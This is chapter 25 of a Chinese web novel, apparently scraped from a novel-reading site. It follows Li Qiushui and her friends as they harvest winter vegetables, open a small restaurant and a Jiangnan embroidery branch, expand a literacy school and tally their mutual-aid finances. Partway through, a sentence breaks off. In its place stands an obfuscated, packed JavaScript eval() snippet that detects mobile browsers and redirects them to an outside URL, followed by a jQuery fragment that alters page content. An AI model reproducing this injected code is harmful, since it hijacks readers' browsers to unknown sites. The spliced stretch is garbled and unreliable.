默认冷灰
24号文字
方正启体

25. 霜降之前

作者:鹤九山本书字数:K更新时间:
    霜降那天,京城下了第一场薄霜。


    晨起推窗,瓦檐上白茫茫一层,像撒了盐。李秋水呵出一口白气,搓搓手,去院里看菜。白菜已经包心了,萝卜也长得结实,但经了霜,叶子都蔫蔫地垂着。


    “得收了。”王婶从厨房出来,手里提着篮子,“再不收,冻坏了就可惜了。”


    “今天收。”李秋水说。


    早饭是热粥和烙饼。粥是小米粥,熬得稠稠的,配王婶腌的酱黄瓜。饼是葱花饼,烙得金黄,咬一口酥脆。


    吃饭时,小草说:“沈姑娘,我想好了,饭铺的名字叫‘春草堂’。”


    “春草堂?”李秋水问,“有什么讲究?”


    “春草不怕霜,”小草说,“霜打了,来年还长。”


    李秋水笑了。


    “好名字。”


    “地方也看好了,”小草说,“就在粥铺隔壁,铺面小,但便宜。一个月租金五钱银子,我能付得起。”


    “钱够吗?”


    “够。”小草说,“王大姐借我三两,秋月姑娘借我二两,我自己攒了一两。够买锅碗桌椅了。”


    李秋水看着她。


    半年前,她还是个连自己名字都不会写的小姑娘,哭着说“什么都不会”。现在,她要开饭铺了。


    “小草,”她说,“你长大了。”


    小草脸红了。


    “是大家教得好。”


    饭后,大家去收菜。


    白菜砍下来,堆在廊下。萝卜拔出来,洗净晾干。白菜要腌酸菜,萝卜要晒萝卜干,冬天配粥下饭。


    玉娘也来帮忙。她现在不光会绣花,还会算账,还能帮着管锦绣坊的事。


    “沈姑娘,”她一边收白菜一边说,“秋月姑娘说,锦绣坊想开分号。”


    “开在哪?”


    “开在江南。”玉娘说,“柳儿姑娘来信说,江南那边绣娘多,但没个正经去处。她一个人忙不过来,想咱们去帮一把。”


    李秋水想了想。


    “你想去吗?”


    玉娘愣了愣。


    “我……我能去吗?”


    “能。”李秋水说,“你想去,就去。”


    玉娘沉默了一会儿。


    “我想去。”她说,“但……我舍不得这里。”


    “去了还能回来。”李秋水说,“又不是不回来了。”


    玉娘点点头。


    “那……我去。”她说,“我去帮柳儿姑娘,也……也学点新东西。”


    “好。”李秋水说。


    菜收完了,李秋水去自立学堂。


    今天是小梅的课,教《三字经》。教室里坐满了人,有老有少,都学得很认真。


    “……养不教,父之过。教不严,师之惰。”小梅念一句,下面跟一句。


    一个老太太举手。


    “小梅先生,这个‘惰’字,怎么写?”


    小梅在黑板上写了个“惰”。


    “懒惰的惰,”她说,“意思是偷懒,不用心。”


    老太太点点头,认真记在本子上。


    李秋水站在窗外看。


    半年前,这个老太太连自己的名字都不会写。现在,她能问这么深的问题了。


    下课后,小梅来找李秋水。


    “沈姑娘,有件事。”


    “你说。”


    “学堂……人太多了。”小梅说,“一百二十个人,挤不下了。我想……分班。”


    “怎么分?”


    “按程度分。”小梅说,“刚来的,学《千字文》。学了一段时间的,学《三字经》。学得好的,学《论语》。”


    李秋水想了想。


    “好。”她说,“但先生不够。”


    “我教《三字经》,”小梅说,“春桃教《千字文》,玉娘教算账。还缺教《论语》的。”


    “我来教。”李秋水说。


    小梅眼睛亮了。


    “真的?”


    “真的。”李秋水说,“不过得晚上,白天我忙。”


    “好!”小梅说。


    下午,李秋水去了锦绣坊。


    秋月正在教新来的绣娘配色。看见李秋水,她停下。


    “沈姑娘来了。”


    “嗯。”李秋水说,“玉娘说,你想开分号?”


    “是。”秋月说,“柳儿那边忙不过来,咱们该去帮一把。而且……”她顿了顿,“江南花样新,咱们去了,能学新东西。”


    “谁去?”


    “我想让夏荷去。”秋月说,“她手巧,心细,能管人。春兰也去,她稳重,能帮衬。再从绣娘里挑两个学得好的,一起去。”


    李秋水点点头。


    “好。钱呢?”


    “锦绣坊有盈余,”秋月说,“能拿出一百两。柳儿说她也能出一些。够了。”


    “不够跟我说。”李秋水说。


    “够了。”秋月说,“不能老靠您。”


    是啊,李秋水想。


    不能老靠她。


    每个人,都要自己能立起来。


    从锦绣坊出来,李秋水去了粥铺。


    王桂花正在教新来的伙计包包子。看见李秋水,她擦擦手。


    “沈姑娘来了。”


    “嗯。”李秋水说,“小草要开饭铺了?”


    “是。”王桂花笑,“小姑娘有志气。我借她三两银子,秋月借她二两,她自己攒了一两。够开个小铺子了。”


    “你教她?”


    “教。”王桂花说,“不光教做饭,还教算账,教管人。她学得快,能行。”


    李秋水看着粥铺。


    半年多前,这里还是个煎饼摊。现在,有三个分号,二十多个伙计,每天施三百碗粥。


    “王婶,”她说,“你累吗?”


    “累。”王桂花说,“但踏实。看着这些人有饭吃,有活干,心里踏实。”


    是啊,踏实。


    比什么都强。


    晚上,互助会开会。


    地点在自立学堂的大教室,来了五十多人——各处的管事,学得好的学生,还有几个新加入的会员。


    李秋水主持会议。


    “今天说三件事。”她说,“第一,锦绣坊要在江南开分号,夏荷和春兰去,带两个绣娘。钱从锦绣坊出。”


    大家点头。


    “第二,小草要开饭铺,叫‘春草堂’。钱是借的,慢慢还。”


    大家鼓掌。


    小草站起来,鞠了个躬,脸红了。


    “第三,”李秋水说,“学堂要分班。按程度分,刚来的学《千字文》,学了一段时间的学《三字经》,学得好的学《论语》。先生不够,我教《论语》,晚上上课。”


    大家议论纷纷。


    “沈姑娘教《论语》?太好了!”


    “我想学!”


    “我也要学!”


    李秋水抬手,让大家安静。


    “想学的,明天报名。但说好了,学就要认真学,不能半途而废。”


    “好!”大家齐声说。


    散会后,李秋水留下来,跟几个管事商量事。


    秋月说锦绣坊的分号下个月开张,王桂花说粥铺想开第四个分号——在城北,那边穷人多。林晚说印书坊要印新书——《绣花图样集》第二册,秋月她们新整理的花样。


    谢临说武馆想开女子班——专门教女子防身术,阿依莎和乌兰教。小梅说学堂想开夜校——让白天干活的人晚上也能学。


    一个个想法,一件件事。


    李秋水听着,记着。


    “慢慢来,”她说,“一件一件做。”


    “钱呢?”林晚问,“开这么多事,钱够吗?”


    李秋水算了算。


    互助会的钱,萧珩给的钱,贵妃给的钱,锦绣坊赚的钱,粥铺赚的钱,武馆赚的钱……加起来,够用一段时间。


    “够。”她说,“不够再想办法。”


    “什么办法?”谢临问。


    “咱们可以……卖东西。”李秋水说,“锦绣坊的绣品,粥铺的点心,印书坊的书,武馆的兵器……能卖的,都卖。卖了钱,养更多事。”


    大家想了想。


    “好主意!”秋月说,“咱们的绣品,不输给外面的。”


    “粥铺的点心也好吃,”王桂花说,“能卖。”


    “书当然能卖,”林晚说,“但……咱们一直是送的。”


    “送归送,卖归卖。”李秋水说,“有钱的买,没钱的送。两不耽误。”


    大家点头。


    “那就这么办!”


    夜深了,人都走了。


    李秋水坐


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305083|198682||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在灯下,算账。


    互助会现有会员三千人,每月收钱三十两。


    锦绣坊每月盈余一百两。


    粥铺每月亏二十两,但卖点心能赚十两,实际亏十两。


    印书坊每月亏一百二十两,但卖书能赚五十两,实际亏七十两。


    武馆每月亏三十两。


    学堂每月亏五十两。


    加起来,每月亏一百三十两。


    但萧珩每月给一百两,贵妃给五十两,谢临给五十两……够用。


    还能存点。


    存着,为以后。


    她放下笔,揉了揉眼睛。


    累,但踏实。


    霜降后的第十天,小草“春草堂”开张。


    铺面不大,但干净。门口挂着招牌,是林晚写的字,春桃绣的边——绿底白字,绣着几根小草。


    开张那天,来了很多人。锦绣坊的绣娘,粥铺的伙计,武馆的学生,学堂的先生……都来了。


    小草做了几样拿手菜——红烧肉,炒青菜,酸辣土豆丝,还有一大锅米饭。


    “大家尝尝,”她脸红红的,“不好吃,别笑话。”


    大家尝了,都说好。


    “好吃!”王桂花说,“比我做的好吃。”


    “真的?”小草眼睛亮了。


    “真的。”王桂花说,“你有天赋。”


    小草笑了,笑得像春天的草,嫩嫩的,绿绿的。


    那天,“春草堂”卖了二十份饭,赚了五十文钱。


    不多,但开头了。


    又过了十天,锦绣坊江南分号开张。


    夏荷和春兰去了,带了两个绣娘。柳儿在那边接应,地方都准备好了。


    开张那天,柳儿来信,说“一切顺利”。


    信里还夹了张绣品——江南水乡,小桥流水,乌篷船,浣纱女。绣工精细,是柳儿的新作。


    “柳儿姑娘说,”夏荷在信里写,“江南的绣娘们都想学新花样,咱们的《绣花图样集》,她们抢着要。”


    李秋水看了信,笑了。


    是啊。


    抢着要。


    要知识,要手艺,要……活路。


    霜降的最后一天,李秋水晚上去学堂教《论语》。


    教室里点了五盏灯,亮堂堂的。来了三十多个学生——有锦绣坊的绣娘,有粥铺的伙计,有武馆的学生,还有几个外乡女子。


    “今天学《论语》第一篇,”李秋水说,“‘学而时习之,不亦说乎’。”


    她在黑板上写,一个字一个字地讲。


    “学,是学习。习,是练习。时,是时常。说,是高兴。”


    她顿了顿。


    “意思是:学了,时常练习,不是很快乐吗?”


    学生们跟着念:“学而时习之,不亦说乎。”


    声音整齐,坚定。


    一个绣娘举手。


    “沈先生,我……我学绣花,也是‘学而时习之’吗?”


    “是。”李秋水说,“学什么都是学。学绣花,学做饭,学识字,学功夫……学了,练了,会了,就快乐。”


    绣娘点点头,记在本子上。


    另一个学生问:“沈先生,我学算账,总是算错,还快乐吗?”


    “快乐。”李秋水说,“算错了,改过来,下次就不错了。这也是一种学习。”


    学生笑了。


    “我明白了。”


    那天晚上,李秋水教到很晚。


    学生们也学到很晚。


    灯亮着,人学着。


    像星星,亮在夜里。


    也亮在心里。


    夜深了,学生们走了。


    李秋水收拾东西,准备回去。


    小梅留下来帮忙。


    “沈姑娘,”她说,“您……您累吗?”


    “累。”李秋水说,“但快乐。”


    小梅笑了。


    “我也是。”


    两人走出学堂。


    外面,霜很重,地都白了。


    但月亮很亮,照得霜地亮晶晶的。


    “明天,”李秋水说,“该腌酸菜了。”


    “嗯。”小梅说,“我帮您。”


    两人往回走。


    脚印留在霜地上,一串一串,深深的。


    像路,走出来了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)